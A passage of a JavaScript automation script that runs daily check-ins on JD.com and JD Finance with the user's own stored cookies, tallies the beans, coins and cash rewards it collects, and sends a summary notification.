'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'), //京东母婴馆 + //JDUserSignPre(stop, 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'), //京东数码电器馆 + //JDUserSignPre(stop, 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'), //京东女装馆 + //JDUserSignPre(stop, 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'), //京东图书 + // JDUserSignPre(stop, 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'), //京东-领京豆 + //JingRongDoll(stop, 'JTDouble', '京东金贴-双签', '1DF13833F7'), //京东金融 金贴双签 + // JingRongDoll(stop, 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin') //京东金融 现金双签 + ]); + await Promise.all([ + //JDUserSignPre(stop, 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'), //失眠补贴 + //JDUserSignPre(stop, 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'), //手机小时达 + //JDUserSignPre(stop, 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'), //京东电竞 + //JDUserSignPre(stop, 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'), //京东服饰 + // JDUserSignPre(stop, 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'), //京东箱包馆 + //JDUserSignPre(stop, 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'), //京东校园 + //JDUserSignPre(stop, 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'), //京东健康 + //JDUserSignPre(stop, 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'), //京东拍拍二手 + // JDUserSignPre(stop, 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'), //京东清洁馆 + // JDUserSignPre(stop, 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'), //京东个人护理馆 + // JDUserSignPre(stop, 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'), // 京东小家电 + // JDUserSignPre(stop, 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'), //京东珠宝馆 + // JDUserSignPre(stop, 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'), //京东美妆馆 + // JDUserSignPre(stop, 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'), //京东菜场 + // JDUserSignPre(stop, 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ') //京东智能生活 + JDUserSignPre(stop, 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'), //京东PLUS + JDUserSignPre(stop, 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj') //京东超市 + ]); + await JingRongDoll(stop, 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + default: + await JingDongBean(0); //京东京豆 + await JingDongStore(Wait(stop)); //京东超市 + await JingRongSteel(Wait(stop), jrBody); //金融钢镚 + await JingDongTurn(Wait(stop)); //京东转盘 + await JDFlashSale(Wait(stop)); //京东闪购 + await JingDongCash(Wait(stop)); //京东现金红包 + await JDMagicCube(Wait(stop), 2); //京东小魔方 + await JingDongGetCash(Wait(stop)); //京东领现金 + await JingDongSubsidy(Wait(stop)); //京东金贴 + await JingDongShake(Wait(stop)); //京东摇一摇 + await JDSecKilling(Wait(stop)); //京东秒杀 + // await JingRongDoll(Wait(stop), 'JRThreeDoll', '京东金融-签叁', '69F5EC743C'); + // await JingRongDoll(Wait(stop), 'JRFourDoll', '京东金融-签肆', '30C4F86264'); + // await JingRongDoll(Wait(stop), 'JRFiveDoll', '京东金融-签伍', '1D06AA3B0F'); + // await JingRongDoll(Wait(stop), 'JRDoll', '京东金融-签壹', '4D25A6F482'); + // await JingRongDoll(Wait(stop), 'XJDouble', '金融现金-双签', 'F68B2C3E71', '', '', '', 'xianjin'); //京东金融 现金双签 + // await JingRongDoll(Wait(stop), 'JTDouble', '京东金贴-双签', '1DF13833F7'); //京东金融 金贴双签 + // await JDUserSignPre(Wait(stop), 'JDStory', '京东失眠-补贴', 'UcyW9Znv3xeyixW1gofhW2DAoz4'); //失眠补贴 + // await JDUserSignPre(Wait(stop), 'JDPhone', '京东手机-小时', '4Vh5ybVr98nfJgros5GwvXbmTUpg'); //手机小时达 + // await JDUserSignPre(Wait(stop), 'JDCard', '京东商城-卡包', '7e5fRnma6RBATV9wNrGXJwihzcD'); //京东卡包 + // await JDUserSignPre(Wait(stop), 'JDUndies', '京东商城-内衣', '4PgpL1xqPSW1sVXCJ3xopDbB1f69'); //京东内衣馆 + // await JDUserSignPre(Wait(stop), 'JDEsports', '京东商城-电竞', 'CHdHQhA5AYDXXQN9FLt3QUAPRsB'); //京东电竞 + // await JDUserSignPre(Wait(stop), 'JDCustomized', '京东商城-定制', '2BJK5RBdvc3hdddZDS1Svd5Esj3R'); //京东定制 + // await JDUserSignPre(Wait(stop), 'JDSuitcase', '京东商城-箱包', 'ZrH7gGAcEkY2gH8wXqyAPoQgk6t'); //京东箱包馆 + // await JDUserSignPre(Wait(stop), 'JDClothing', '京东商城-服饰', '4RBT3H9jmgYg1k2kBnHF8NAHm7m8'); //京东服饰 + // await JDUserSignPre(Wait(stop), 'JDSchool', '京东商城-校园', '2QUxWHx5BSCNtnBDjtt5gZTq7zdZ'); //京东校园 + await JDUserSignPre(Wait(stop), 'JDHealth', '京东商城-健康', 'w2oeK5yLdHqHvwef7SMMy4PL8LF'); //京东健康 + // await JDUserSignPre(Wait(stop), 'JDShoes', '京东商城-鞋靴', '4RXyb1W4Y986LJW8ToqMK14BdTD'); //京东鞋靴 + // await JDUserSignPre(Wait(stop), 'JDChild', '京东商城-童装', '3Af6mZNcf5m795T8dtDVfDwWVNhJ'); //京东童装馆 + // await JDUserSignPre(Wait(stop), 'JDBaby', '京东商城-母婴', '3BbAVGQPDd6vTyHYjmAutXrKAos6'); //京东母婴馆 + // await JDUserSignPre(Wait(stop), 'JD3C', '京东商城-数码', '4SWjnZSCTHPYjE5T7j35rxxuMTb6'); //京东数码电器馆 + // await JDUserSignPre(Wait(stop), 'JDWomen', '京东商城-女装', 'DpSh7ma8JV7QAxSE2gJNro8Q2h9'); //京东女装馆 + // await JDUserSignPre(Wait(stop), 'JDBook', '京东商城-图书', '3SC6rw5iBg66qrXPGmZMqFDwcyXi'); //京东图书 + // await JDUserSignPre(Wait(stop), 'JDShand', '京东拍拍-二手', '3S28janPLYmtFxypu37AYAGgivfp'); //京东拍拍二手 + // await JDUserSignPre(Wait(stop), 'JDMakeup', '京东商城-美妆', '2smCxzLNuam5L14zNJHYu43ovbAP'); //京东美妆馆 + // await JDUserSignPre(Wait(stop), 'JDVege', '京东商城-菜场', 'Wcu2LVCFMkBP3HraRvb7pgSpt64'); //京东菜场 + await JDUserSignPre(Wait(stop), 'JDPlus', '京东商城-PLUS', '3bhgbFe5HZcFCjEZf2jzp3umx4ZR'); //京东PLUS + // await JDUserSignPre(Wait(stop), 'JDStore', '京东超市', 'QPwDgLSops2bcsYqQ57hENGrjgj'); //京东超市 + // await JDUserSignPre(Wait(stop), 'JDaccompany', '京东商城-陪伴', 'kPM3Xedz1PBiGQjY4ZYGmeVvrts'); //京东陪伴 + // await JDUserSignPre(Wait(stop), 'JDLive', '京东智能-生活', 'KcfFqWvhb5hHtaQkS4SD1UU6RcQ'); //京东智能生活 + // await JDUserSignPre(Wait(stop), 'JDClean', '京东商城-清洁', '2Tjm6ay1ZbZ3v7UbriTj6kHy9dn6'); //京东清洁馆 + // await JDUserSignPre(Wait(stop), 'JDCare', '京东商城-个护', '2tZssTgnQsiUqhmg5ooLSHY9XSeN'); //京东个人护理馆 + // await JDUserSignPre(Wait(stop), 'JDJiaDian', '京东商城-家电', '3uvPyw1pwHARGgndatCXddLNUxHw'); // 京东小家电馆 + // await JDUserSignPre(Wait(stop), 'ReceiveJD', '京东商城-领豆', 'Ni5PUSK7fzZc4EKangHhqPuprn2'); //京东-领京豆 + // await JDUserSignPre(Wait(stop), 'JDJewels', '京东商城-珠宝', 'zHUHpTHNTaztSRfNBFNVZscyFZU'); //京东珠宝馆 + //await JingRongDoll(Wait(stop), 'JDDouble', '金融京豆-双签', 'F68B2C3E71', '', '', '', 'jingdou'); //京东金融 京豆双签 + break; + } + await Promise.all([ + TotalSteel(), //总钢镚查询 + TotalCash(), //总红包查询 + TotalBean(), //总京豆查询 + TotalSubsidy(), //总金贴查询 + TotalMoney() //总现金查询 + ]); + await notify(); //通知模块 +} + +function notify() { + return new Promise(resolve => { + try { + var bean = 0; + var steel = 0; + var cash = 0; + var money = 0; + var subsidy = 0; + var success = 0; + var fail = 0; + var err = 0; + var notify = ''; + for (var i in merge) { + bean += merge[i].bean ? Number(merge[i].bean) : 0 + steel += merge[i].steel ? Number(merge[i].steel) : 0 + cash += merge[i].Cash ? Number(merge[i].Cash) : 0 + money += merge[i].Money ? Number(merge[i].Money) : 0 + subsidy += merge[i].subsidy ? Number(merge[i].subsidy) : 0 + success += merge[i].success ? Number(merge[i].success) : 0 + fail += merge[i].fail ? Number(merge[i].fail) : 0 + err += merge[i].error ? Number(merge[i].error) : 0 + notify += merge[i].notify ? "\n" + merge[i].notify : "" + } + var Cash = merge.TotalCash && merge.TotalCash.TCash ? `${merge.TotalCash.TCash}红包` : "" + var Steel = merge.TotalSteel && merge.TotalSteel.TSteel ? `${merge.TotalSteel.TSteel}钢镚` : `` + var beans = merge.TotalBean && merge.TotalBean.Qbear ? `${merge.TotalBean.Qbear}京豆${Steel?`, `:``}` : "" + var Money = merge.TotalMoney && merge.TotalMoney.TMoney ? `${merge.TotalMoney.TMoney}现金${Cash?`, `:``}` : "" + var Subsidy = merge.TotalSubsidy && merge.TotalSubsidy.TSubsidy ? `${merge.TotalSubsidy.TSubsidy}金贴${Money||Cash?", ":""}` : "" + var Tbean = bean ? `${bean.toFixed(0)}京豆${steel?", ":""}` : "" + var TSteel = steel ? `${steel.toFixed(2)}钢镚` : "" + var TCash = cash ? `${cash.toFixed(2)}红包${subsidy||money?", ":""}` : "" + var TSubsidy = subsidy ? `${subsidy.toFixed(2)}金贴${money?", ":""}` : "" + var TMoney = money ? `${money.toFixed(2)}现金` : "" + var Ts = success ? `成功${success}个${fail||err?`, `:``}` : `` + var Tf = fail ? `失败${fail}个${err?`, `:``}` : `` + var Te = err ? `错误${err}个` : `` + var one = `【签到概览】: ${Ts+Tf+Te}${Ts||Tf||Te?`\n`:`获取失败\n`}` + var two = Tbean || TSteel ? `【签到奖励】: ${Tbean+TSteel}\n` : `` + var three = TCash || TSubsidy || TMoney ? `【其他奖励】: ${TCash+TSubsidy+TMoney}\n` : `` + var four = `【账号总计】: ${beans+Steel}${beans||Steel?`\n`:`获取失败\n`}` + var five = `【其他总计】: ${Subsidy+Money+Cash}${Subsidy||Money||Cash?`\n`:`获取失败\n`}` + var DName = merge.TotalBean && merge.TotalBean.nickname ? merge.TotalBean.nickname : "获取失败" + var cnNum = ["零", "一", "二", "三", "四", "五", "六", "七", "八", "九", "十"]; + const Name = DualKey || OtherKey.length > 1 ? `【签到号${cnNum[$nobyda.num]||$nobyda.num}】: ${DName}\n` : `` + const disables = $nobyda.read("JD_DailyBonusDisables") + const amount = disables ? disables.split(",").length : 0 + const disa = !notify || amount ? `【温馨提示】: 检测到${$nobyda.disable?`上次执行意外崩溃, `:``}已禁用${notify?`${amount}个`:`所有`}接口, 如需开启请前往BoxJs或查看脚本内第118行注释.\n` : `` + $nobyda.notify("", "", Name + one + two + three + four + five + disa + notify, { + 'media-url': $nobyda.headUrl || 'https://cdn.jsdelivr.net/gh/NobyDa/mini@master/Color/jd.png' + }); + $nobyda.headUrl = null; + if ($nobyda.isJSBox) { + $nobyda.st = (typeof($nobyda.st) == 'undefined' ? '' : $nobyda.st) + Name + one + two + three + four + five + "\n" + } + } catch (eor) { + $nobyda.notify("通知模块 " + eor.name + "‼️", JSON.stringify(eor), eor.message) + } finally { + resolve() + } + }); +} + +(async function ReadCookie() { + const EnvInfo = $nobyda.isJSBox ? "JD_Cookie" : "CookieJD"; + const EnvInfo2 = $nobyda.isJSBox ? "JD_Cookie2" : "CookieJD2"; + const EnvInfo3 = $nobyda.isJSBox ? "JD_Cookies" : "CookiesJD"; + const move = CookieMove($nobyda.read(EnvInfo) || Key, $nobyda.read(EnvInfo2) || DualKey, EnvInfo, EnvInfo2, EnvInfo3); + const cookieSet = $nobyda.read(EnvInfo3); + if (DeleteCookie) { + const write = $nobyda.write("", EnvInfo3); + throw new Error(`Cookie清除${write?`成功`:`失败`}, 请手动关闭脚本内"DeleteCookie"选项`); + } else if ($nobyda.isRequest) { + GetCookie() + } else if (Key || DualKey || (OtherKey || cookieSet || '[]') != '[]') { + if (($nobyda.isJSBox || $nobyda.isNode) && stop !== '0') $nobyda.write(stop, "JD_DailyBonusDelay"); + out = parseInt($nobyda.read("JD_DailyBonusTimeOut")) || out; + stop = Wait($nobyda.read("JD_DailyBonusDelay"), true) || Wait(stop, true); + boxdis = $nobyda.read("JD_Crash_disable") === "false" || $nobyda.isNode || $nobyda.isJSBox ? false : boxdis; + LogDetails = $nobyda.read("JD_DailyBonusLog") === "true" || LogDetails; + ReDis = ReDis ? $nobyda.write("", "JD_DailyBonusDisables") : ""; + $nobyda.num = 0; + if (Key) await all(Key); + if (DualKey && DualKey !== Key) await all(DualKey); + if ((OtherKey || cookieSet || '[]') != '[]') { + try { + OtherKey = checkFormat([...JSON.parse(OtherKey || '[]'), ...JSON.parse(cookieSet || '[]')]); + const updateSet = OtherKey.length ? $nobyda.write(JSON.stringify(OtherKey, null, 2), EnvInfo3) : ''; + for (let i = 0; i < OtherKey.length; i++) { + const ck = OtherKey[i].cookie; + const jr = OtherKey[i].jrBody; + if (ck != Key && ck != DualKey) { + await all(ck, jr) + } + } + } catch (e) { + throw new Error(`账号Cookie读取失败, 请检查Json格式. \n${e.message}`) + } + } + $nobyda.time(); + } else { + throw new Error('脚本终止, 未获取Cookie ‼️') + } +})().catch(e => { + $nobyda.notify("京东签到", "", e.message || JSON.stringify(e)) +}).finally(() => { + if ($nobyda.isJSBox) $intents.finish($nobyda.st); + $nobyda.done(); +}) + +function JingDongBean(s) { + merge.JDBean = {}; + return new Promise(resolve => { + if (disable("JDBean")) return resolve() + setTimeout(() => { + const JDBUrl = { + url: 'https://api.m.jd.com/client.action', + headers: { + Cookie: KEY + }, + body: 'functionId=signBeanIndex&appid=ld' + }; + $nobyda.post(JDBUrl, function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.code == 3) { + console.log("\n" + "京东商城-京豆Cookie失效 " + Details) + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: Cookie失效‼️" + merge.JDBean.fail = 1 + } else if (data.match(/跳转至拼图/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 需要拼图验证 ⚠️" + merge.JDBean.fail = 1 + } else if (data.match(/\"status\":\"?1\"?/)) { + console.log("\n" + "京东商城-京豆签到成功 " + Details) + if (data.match(/dailyAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.dailyAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.dailyAward.beanAward.beanCount + } else if (data.match(/continuityAward/)) { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + cc.data.continuityAward.beanAward.beanCount + "京豆 🐶" + merge.JDBean.bean = cc.data.continuityAward.beanAward.beanCount + } else if (data.match(/新人签到/)) { + const quantity = data.match(/beanCount\":\"(\d+)\".+今天/) + merge.JDBean.bean = quantity ? quantity[1] : 0 + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: " + (quantity ? quantity[1] : "无") + "京豆 🐶" + } else { + merge.JDBean.notify = "京东商城-京豆: 成功, 明细: 无京豆 🐶" + } + merge.JDBean.success = 1 + } else { + merge.JDBean.fail = 1 + console.log("\n" + "京东商城-京豆签到失败 " + Details) + if (data.match(/(已签到|新人签到)/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/人数较多|S101/)) { + merge.JDBean.notify = "京东商城-京豆: 失败, 签到人数较多 ⚠️" + } else { + merge.JDBean.notify = "京东商城-京豆: 失败, 原因: 未知 ⚠️" + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-京豆", "JDBean", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +// function JingDongTurn(s) { +// merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; +// return new Promise((resolve, reject) => { +// if (disable("JDTurn")) return reject() +// const JDTUrl = { +// url: 'https://api.m.jd.com/client.action?functionId=wheelSurfIndex&body=%7B%22actId%22%3A%22jgpqtzjhvaoym%22%2C%22appSource%22%3A%22jdhome%22%7D&appid=ld', +// headers: { +// Cookie: KEY, +// } +// }; +// $nobyda.get(JDTUrl, async function(error, response, data) { +// try { +// if (error) { +// throw new Error(error) +// } else { +// const cc = JSON.parse(data) +// const Details = LogDetails ? "response:\n" + data : ''; +// if (cc.data && cc.data.lotteryCode) { +// console.log("\n" + "京东商城-转盘查询成功 " + Details) +// return resolve(cc.data.lotteryCode) +// } else { +// merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 查询错误 ⚠️" +// merge.JDTurn.fail = 1 +// console.log("\n" + "京东商城-转盘查询失败 " + Details) +// } +// } +// } catch (eor) { +// $nobyda.AnError("京东转盘-查询", "JDTurn", eor, response, data) +// } finally { +// reject() +// } +// }) +// if (out) setTimeout(reject, out + s) +// }).then(data => { +// return JingDongTurnSign(s, data); +// }, () => {}); +// } + +function JingDongTurn(s) { + if (!merge.JDTurn) merge.JDTurn = {}, merge.JDTurn.notify = "", merge.JDTurn.success = 0, merge.JDTurn.bean = 0; + return new Promise(resolve => { + if (disable("JDTurn")) return resolve(); + setTimeout(() => { + const JDTUrl = { + url: `https://api.m.jd.com/client.action?functionId=babelGetLottery`, + headers: { + Cookie: KEY + }, + body: 'body=%7B%22enAwardK%22%3A%2295d235f2a09578c6613a1a029b26d12d%22%2C%22riskParam%22%3A%7B%7D%7D&client=wh5' + }; + $nobyda.post(JDTUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + const also = merge.JDTurn.notify ? true : false + if (cc.code == 3) { + console.log("\n" + "京东转盘Cookie失效 " + Details) + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: Cookie失效‼️" + merge.JDTurn.fail = 1 + } else if (data.match(/(\"T216\"|活动结束)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 活动结束 ⚠️" + merge.JDTurn.fail = 1 + } else if (data.match(/\d+京豆/)) { + console.log("\n" + "京东商城-转盘签到成功 " + Details) + merge.JDTurn.bean += (cc.prizeName && cc.prizeName.split(/(\d+)/)[1]) || 0 + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 明细: ${merge.JDTurn.bean||`无`}京豆 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else if (data.match(/未中奖|擦肩而过/)) { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: ${also?`多次`:`成功`}, 状态: 未中奖 🐶` + merge.JDTurn.success += 1 + if (cc.chances > 0) { + await JingDongTurnSign(2000) + } + } else { + console.log("\n" + "京东商城-转盘签到失败 " + Details) + merge.JDTurn.fail = 1 + if (data.match(/(机会已用完|次数为0)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 已转过 ⚠️" + } else if (data.match(/(T210|密码)/)) { + merge.JDTurn.notify = "京东商城-转盘: 失败, 原因: 无支付密码 ⚠️" + } else { + merge.JDTurn.notify += `${also?`\n`:``}京东商城-转盘: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-转盘", "JDTurn", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingRongSteel(s, body) { + merge.JRSteel = {}; + return new Promise(resolve => { + if (disable("JRSteel")) return resolve(); + if (!body) { + merge.JRSteel.fail = 1; + merge.JRSteel.notify = "京东金融-钢镚: 失败, 未获取签到Body ⚠️"; + return resolve(); + } + setTimeout(() => { + const JRSUrl = { + url: 'https://ms.jr.jd.com/gw/generic/hy/h5/m/appSign', + headers: { + Cookie: KEY + }, + body: body || '' + }; + $nobyda.post(JRSUrl, function(error, response, data) { + try { + if (error) throw new Error(error) + const cc = JSON.parse(data) + const Details = LogDetails ? "response:\n" + data : ''; + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 0) { + console.log("\n" + "京东金融-钢镚签到成功 " + Details) + merge.JRSteel.notify = `京东金融-钢镚: 成功, 获得钢镚奖励 💰` + merge.JRSteel.success = 1 + } else { + console.log("\n" + "京东金融-钢镚签到失败 " + Details) + merge.JRSteel.fail = 1 + if (cc.resultCode == 0 && cc.resultData && cc.resultData.resBusiCode == 15) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: 已签过 ⚠️" + } else if (data.match(/未实名/)) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 账号未实名 ⚠️" + } else if (cc.resultCode == 3) { + merge.JRSteel.notify = "京东金融-钢镚: 失败, 原因: Cookie失效‼️" + } else { + const ng = (cc.resultData && cc.resultData.resBusiMsg) || cc.resultMsg + merge.JRSteel.notify = `京东金融-钢镚: 失败, ${`原因: ${ng||`未知`}`} ⚠️` + } + } + } catch (eor) { + $nobyda.AnError("京东金融-钢镚", "JRSteel", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JingDongShake(s) { + if (!merge.JDShake) merge.JDShake = {}, merge.JDShake.success = 0, merge.JDShake.bean = 0, merge.JDShake.notify = ''; + return new Promise(resolve => { + if (disable("JDShake")) return resolve() + setTimeout(() => { + const JDSh = { + url: 'https://api.m.jd.com/client.action?appid=vip_h5&functionId=vvipclub_shaking', + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDSh, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const Details = LogDetails ? "response:\n" + data : ''; + const cc = JSON.parse(data) + const also = merge.JDShake.notify ? true : false + if (data.match(/prize/)) { + console.log("\n" + "京东商城-摇一摇签到成功 " + Details) + merge.JDShake.success += 1 + if (cc.data.prizeBean) { + merge.JDShake.bean += cc.data.prizeBean.count || 0 + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次`:`成功`}, 明细: ${merge.JDShake.bean || `无`}京豆 🐶` + } else if (cc.data.prizeCoupon) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: ${also?`多次, `:``}获得满${cc.data.prizeCoupon.quota}减${cc.data.prizeCoupon.discount}优惠券→ ${cc.data.prizeCoupon.limitStr}` + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 未知 ⚠️${also?` (多次)`:``}` + } + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + console.log("\n" + "京东商城-摇一摇签到失败 " + Details) + if (data.match(/true/)) { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 成功, 明细: 无奖励 🐶${also?` (多次)`:``}` + merge.JDShake.success += 1 + if (cc.data.luckyBox.freeTimes != 0) { + await JingDongShake(s) + } + } else { + merge.JDShake.fail = 1 + if (data.match(/(无免费|8000005|9000005)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: 已摇过 ⚠️" + } else if (data.match(/(未登录|101)/)) { + merge.JDShake.notify = "京东商城-摇摇: 失败, 原因: Cookie失效‼️" + } else { + merge.JDShake.notify += `${also?`\n`:``}京东商城-摇摇: 失败, 原因: 未知 ⚠️${also?` (多次)`:``}` + } + } + } + } + } catch (eor) { + $nobyda.AnError("京东商城-摇摇", "JDShake", eor, response, data) + } finally { + resolve() + } + }) + }, s) + if (out) setTimeout(resolve, out + s) + }); +} + +function JDUserSignPre(s, key, title, ac) { + merge[key] = {}; + if ($nobyda.isJSBox) { + return JDUserSignPre2(s, key, title, ac); + } else { + return JDUserSignPre1(s, key, title, ac); + } +} + +function JDUserSignPre1(s, key, title, acData, ask) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: 'https://api.m.jd.com/?client=wh5&functionId=qryH5BabelFloors', + headers: { + Cookie: KEY + }, + opts: { + 'filter': 'try{var od=JSON.parse(body);var params=(od.floatLayerList||[]).filter(o=>o.params&&o.params.match(/enActK/)).map(o=>o.params).pop()||(od.floorList||[]).filter(o=>o.template=="signIn"&&o.signInfos&&o.signInfos.params&&o.signInfos.params.match(/enActK/)).map(o=>o.signInfos&&o.signInfos.params).pop();var tId=(od.floorList||[]).filter(o=>o.boardParams&&o.boardParams.turnTableId).map(o=>o.boardParams.turnTableId).pop();var page=od.paginationFlrs;return JSON.stringify({qxAct:params||null,qxTid:tId||null,qxPage:page||null})}catch(e){return `=> 过滤器发生错误: ${e.message}`}' + }, + body: `body=${encodeURIComponent(`{"activityId":"${acData}"${ask?`,"paginationParam":"2","paginationFlrs":"${ask}"`:``}}`)}` + }; + $nobyda.post(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const od = JSON.parse(data || '{}'); + const turnTableId = od.qxTid || (od.floorList || []).filter(o => o.boardParams && o.boardParams.turnTableId).map(o => o.boardParams.turnTableId).pop(); + const page = od.qxPage || od.paginationFlrs; + if (data.match(/enActK/)) { // 含有签到活动数据 + let params = od.qxAct || (od.floatLayerList || []).filter(o => o.params && o.params.match(/enActK/)).map(o => o.params).pop() + if (!params) { // 第一处找到签到所需数据 + // floatLayerList未找到签到所需数据,从floorList中查找 + let signInfo = (od.floorList || []).filter(o => o.template == 'signIn' && o.signInfos && o.signInfos.params && o.signInfos.params.match(/enActK/)) + .map(o => o.signInfos).pop(); + if (signInfo) { + if (signInfo.signStat == '1') { + console.log(`\n${title}重复签到`) + merge[key].notify = `${title}: 失败, 原因: 已签过 ⚠️` + merge[key].fail = 1 + } else { + params = signInfo.params; + } + } else { + merge[key].notify = `${title}: 失败, 活动查找异常 ⚠️` + merge[key].fail = 1 + } + } + if (params) { + return resolve({ + params: params + }); // 执行签到处理 + } + } else if (turnTableId) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTableId)) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page && !ask) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + }).then(data => { + disable(key, title, 2) + if (typeof(data) == "object") return JDUserSign1(s, key, title, encodeURIComponent(JSON.stringify(data))); + if (typeof(data) == "number") return JDUserSign2(s, key, title, data, acData); + if (typeof(data) == "string") return JDUserSignPre1(s, key, title, acData, data); + }, () => disable(key, title, 2)) +} + +function JDUserSignPre2(s, key, title, acData) { + return new Promise((resolve, reject) => { + if (disable(key, title, 1)) return reject() + const JDUrl = { + url: `https://pro.m.jd.com/mall/active/${acData}/index.html`, + headers: { + Cookie: KEY, + } + }; + $nobyda.get(JDUrl, async function(error, response, data) { + try { + if (error) { + throw new Error(error) + } else { + const act = data.match(/\"params\":\"\{\\\"enActK.+?\\\"\}\"/) + const turnTable = data.match(/\"turnTableId\":\"(\d+)\"/) + const page = data.match(/\"paginationFlrs\":\"(\[\[.+?\]\])\"/) + if (act) { // 含有签到活动数据 + return resolve(act) + } else if (turnTable) { // 无签到数据, 但含有关注店铺签到 + const boxds = $nobyda.read("JD_Follow_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}关注店铺`) + return resolve(parseInt(turnTable[1])) + } else { + merge[key].notify = `${title}: 失败, 需要关注店铺 ⚠️` + merge[key].fail = 1 + } + } else if (page) { // 无签到数据, 尝试带参查询 + const boxds = $nobyda.read("JD_Retry_disable") === "false" ? false : true + if (boxds) { + console.log(`\n${title}二次查询`) + return resolve(page[1]) + } else { + merge[key].notify = `${title}: 失败, 请尝试开启增强 ⚠️` + merge[key].fail = 1 + } + } else { + merge[key].notify = `${title}: 失败, ${!data ? `需要手动执行` : `不含活动数据`} ⚠️` + merge[key].fail = 1 + } + } + reject() + } catch (eor) { + $nobyda.AnError(title, key, eor, response, data) + reject() + } + }) + if (out) setTimeout(reject, out + s) + 